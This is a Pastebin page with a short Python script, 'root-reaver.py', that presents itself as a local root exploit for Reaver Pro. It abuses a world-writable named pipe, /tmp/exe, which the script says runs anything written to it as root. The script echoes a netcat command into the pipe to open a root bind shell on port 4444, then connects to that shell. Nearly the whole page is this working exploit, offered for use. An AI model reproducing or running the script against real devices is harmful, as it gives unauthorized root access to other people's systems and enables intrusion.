Advertisement
infodox

root-reaver.py

Sep 1st, 2012
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.55 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import os
  3. print """
  4.          Reaver Pro Local Root
  5.   Exploits a hilarious named pipe flaw.
  6. The named pipe /tmp/exe is open to anyone...
  7. Any command echoed into it gets ran as root.
  8. This simply launches a bindshell on 4444...
  9.    Insecurety Research | insecurety.net
  10. """
  11. print ""
  12. print "This is why TacNetSol should hire me?"
  13. print "[+] Sending command to named pipe..."
  14. cmd = '''echo "nc -e /bin/sh -lvvp 4444" >> /tmp/exe'''
  15. os.system(cmd)
  16. print "[+] Connecting to bind shell, enjoy root!"
  17. os.system("nc -v localhost 4444")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement